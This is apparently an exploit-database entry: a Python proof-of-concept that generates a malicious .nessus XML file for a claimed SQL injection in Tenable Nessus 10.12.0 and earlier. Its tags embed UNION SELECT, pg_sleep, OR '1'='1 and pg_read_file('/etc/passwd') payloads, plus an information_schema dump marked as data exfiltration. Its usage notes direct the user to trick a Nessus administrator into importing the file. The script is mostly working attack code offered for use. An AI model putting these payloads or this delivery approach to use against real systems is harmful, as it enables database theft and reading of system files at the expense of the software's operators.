Tenable Nessus 10.12.1 – SQL Injection
# Exploit Title: Tenable Nessus 10.12.1 - SQL Injection # CVE: CVE-2026-57588 # Date: 2026-06-26 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://www.tenable.com # Software Link: https://www.tenable.com/downloads/nessus # Affected: Nessus 10.12.0 and prior # Tested on: Nessus 10.12.0 # Category: Remote # Platform: Linux / Windows # Exploit Type: SQL Injection # CVSS: 4.3 (Medium) # Description: A SQL injection vulnerability exists in Tenable Nessus when importing malicious scan result files (.nessus XML). # Successful exploitation allows data exfiltration from the backend database by a privileged user. # Fixed in: Nessus 10.12.1 and later # Usage: # python3 exploit.py -o malicious.nessus # # Examples: # python3 exploit.py # python3 exploit.py --output poc.nessus # # Options: # -o, --output Output filename for the malicious .nessus file # # Notes: # • This is a Proof of Concept. Requires social engineering to trick a privileged user into importing the file. # • Works best against PostgreSQL backend (default in Nessus). # # How to Use # # Step 1: # Generate the malicious file using this script. # # Step 2: # Deliver the .nessus file to a Nessus administrator and have them import it via the web interface. def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) import argparse import xml.etree.ElementTree as ET def create_malicious_nessus(output_file): root = ET.Element("NessusClientData_v2") report = ET.SubElement(root, "Report") report.set("name", "PoC - CVE-2026-57588") host = ET.SubElement(report, "ReportHost") host.set("name", "poc-target.example.com") host_properties = ET.SubElement(host, "HostProperties") tags = [ ("hostname", "evil-host' UNION SELECT NULL, current_database(), version(), user() -- "), ("os", "Linux' AND (SELECT pg_sleep(5))=0 -- "), ("ip", "192.168.1.1' OR '1'='1"), ("fqdn", "test' ; SELECT pg_read_file('/etc/passwd') -- "), ] for name, value in tags: tag = ET.SubElement(host_properties, "tag") tag.set("name", name) tag.text = value item = ET.SubElement(host, "ReportItem") ET.SubElement(item, "pluginID").text = "999999" ET.SubElement(item, "pluginName").text = "CVE-2026-57588 PoC" ET.SubElement(item, "port").text = "0" ET.SubElement(item, "protocol").text = "tcp" ET.SubElement(item, "severity").text = "0" ET.SubElement(item, "description").text = "Proof of Concept for SQL Injection" plugin_output = ET.SubElement(item, "plugin_output") plugin_output.text = """Normal output ' UNION ALL SELECT '=== DATA EXFIL START ===', table_name, column_name, '=== DATA EXFIL END ===' FROM information_schema.columns WHERE table_schema = current_schema() -- """ tree = ET.ElementTree(root) with open(output_file, "wb") as f: tree.write(f, encoding="utf-8", xml_declaration=True) print(f"[+] Malicious file successfully created: {output_file}") print("[+] Deliver this file to a privileged Nessus user for import.") def main(): banner() parser = argparse.ArgumentParser(description="CVE-2026-57588 Nessus SQLi PoC") parser.add_argument("-o", "--output", default="cve-2026-57588-poc.nessus", help="Output filename (default: cve-2026-57588-poc.nessus)") args = parser.parse_args() create_malicious_nessus(args.output) if __name__ == "__main__": main() |